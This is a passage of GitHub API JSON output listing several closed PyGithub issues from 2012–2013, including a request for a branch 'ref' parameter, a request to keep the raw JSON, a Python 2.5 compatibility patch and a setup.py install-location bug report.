1.10.0","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":10,"state":"closed","created_at":"2012-11-19T20:02:45Z","updated_at":"2012-12-25T12:25:01Z","due_on":null},"comments":1,"created_at":"2012-12-23T11:59:53Z","updated_at":"2012-12-24T13:26:20Z","closed_at":"2012-12-24T13:26:20Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"As per the documentation:\r\nhttp://developer.github.com/v3/repos/contents/\r\n\r\nThe Get Contents GitHub API accepts an optional parameter `ref` which allows the user to specify the branch. Otherwise this parameter defaults to `master`.\r\n\r\nPlease implement this optional parameter on Repository.get_contents, which currently only accepts a single parameter to specify the path."},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/144","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/144/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/144/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/144/events","html_url":"https://github.com/jacquev6/PyGithub/issues/144","id":11746141,"number":144,"title":"Store original JSON response for objects and expose it for document-oriented storage","user":{"login":"ptwobrussell","id":98668,"avatar_url":"https://secure.gravatar.com/avatar/322a50ffdb98591460f05015770b7adb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"322a50ffdb98591460f05015770b7adb","url":"https://api.github.com/users/ptwobrussell","html_url":"https://github.com/ptwobrussell","followers_url":"https://api.github.com/users/ptwobrussell/followers","following_url":"https://api.github.com/users/ptwobrussell/following{/other_user}","gists_url":"https://api.github.com/users/ptwobrussell/gists{/gist_id}","starred_url":"https://api.github.com/users/ptwobrussell/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ptwobrussell/subscriptions","organizations_url":"https://api.github.com/users/ptwobrussell/orgs","repos_url":"https://api.github.com/users/ptwobrussell/repos","events_url":"https://api.github.com/users/ptwobrussell/events{/privacy}","received_events_url":"https://api.github.com/users/ptwobrussell/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/23","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/23/labels","id":282556,"number":23,"title":"Version 1.13.0","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":6,"state":"closed","created_at":"2013-03-07T08:43:38Z","updated_at":"2013-03-22T17:44:33Z","due_on":null},"comments":1,"created_at":"2013-03-07T04:54:23Z","updated_at":"2013-03-21T20:57:54Z","closed_at":"2013-03-21T20:57:54Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"I'd like to be able to serialize a GithubObject and get back the original JSON that was used to initially construct it for purposes of serializing out to a document oriented store like MongoDB where this representation would be a natural (and highly portable) fit for storage. From looking at how objects are constructed, it seems as though it would be pretty trivial to keep around the JSON and expose it as necessary as opposed to just discarding it.\r\n\r\nPerhaps `__str__` could return the readable JSON representation and `__repr__` could contain what currently happens from `__str__` (the unambiguous object with its address)?\r\n\r\nIf there are concerns over memory, perhaps this could be a configurable option?\r\n\r\nAt any rate, I could help put together the patch but would first like to get your thoughts and whether or not you're open to merging in such a pull request"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/47","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/47/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/47/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/47/events","html_url":"https://github.com/jacquev6/PyGithub/issues/47","id":5152384,"number":47,"title":"Just a small patch to make PyGithub compatible with Python 2.5","user":{"login":"pmuilu","id":691799,"avatar_url":"https://secure.gravatar.com/avatar/3aa27c0add742f542848af3b8a9e980c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3aa27c0add742f542848af3b8a9e980c","url":"https://api.github.com/users/pmuilu","html_url":"https://github.com/pmuilu","followers_url":"https://api.github.com/users/pmuilu/followers","following_url":"https://api.github.com/users/pmuilu/following{/other_user}","gists_url":"https://api.github.com/users/pmuilu/gists{/gist_id}","starred_url":"https://api.github.com/users/pmuilu/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/pmuilu/subscriptions","organizations_url":"https://api.github.com/users/pmuilu/orgs","repos_url":"https://api.github.com/users/pmuilu/repos","events_url":"https://api.github.com/users/pmuilu/events{/privacy}","received_events_url":"https://api.github.com/users/pmuilu/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":null,"comments":2,"created_at":"2012-06-19T17:58:29Z","updated_at":"2012-06-20T21:06:08Z","closed_at":"2012-06-20T20:08:20Z","pull_request":{"html_url":"https://github.com/jacquev6/PyGithub/pull/47","diff_url":"https://github.com/jacquev6/PyGithub/pull/47.diff","patch_url":"https://github.com/jacquev6/PyGithub/pull/47.patch"},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"Seems to work otherwise."},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/48","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/48/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/48/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/48/events","html_url":"https://github.com/jacquev6/PyGithub/issues/48","id":5177381,"number":48,"title":"data_files install location","user":{"login":"malexw","id":577322,"avatar_url":"https://secure.gravatar.com/avatar/13a30f9924fa2bd918cbb8d06dd8b55a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"13a30f9924fa2bd918cbb8d06dd8b55a","url":"https://api.github.com/users/malexw","html_url":"https://github.com/malexw","followers_url":"https://api.github.com/users/malexw/followers","following_url":"https://api.github.com/users/malexw/following{/other_user}","gists_url":"https://api.github.com/users/malexw/gists{/gist_id}","starred_url":"https://api.github.com/users/malexw/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/malexw/subscriptions","organizations_url":"https://api.github.com/users/malexw/orgs","repos_url":"https://api.github.com/users/malexw/repos","events_url":"https://api.github.com/users/malexw/events{/privacy}","received_events_url":"https://api.github.com/users/malexw/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/7","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/7/labels","id":140183,"number":7,"title":"Version 1.3","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":4,"state":"closed","created_at":"2012-07-03T07:32:39Z","updated_at":"2012-07-13T20:01:15Z","due_on":"2012-07-16T07:00:00Z"},"comments":2,"created_at":"2012-06-20T18:33:44Z","updated_at":"2012-07-13T19:20:49Z","closed_at":"2012-07-13T19:20:49Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"Installing on OS X 10.7 via:\n $ pip install PyGithub\n\n(Using the Python 2.7 package from python.org, and not OS X's python2.6 flavour)\n\nGot an error message:\n running install_data\n copying ReadMe.md -> /System/Library/Frameworks/Python.framework/Versions/2.7/\n error: /System/Library/Frameworks/Python.framework/Versions/2.7/ReadMe.md: Permission denied\n\nWhile I can use sudo to make the error message go away, I don't think `/System/Library/Frameworks/Python.framework/Versions/2.7/` is the correct location for the documentation. I don't know much about writing setup.py files, but after looking at gunicorn, flask, and numpy, it doesn't 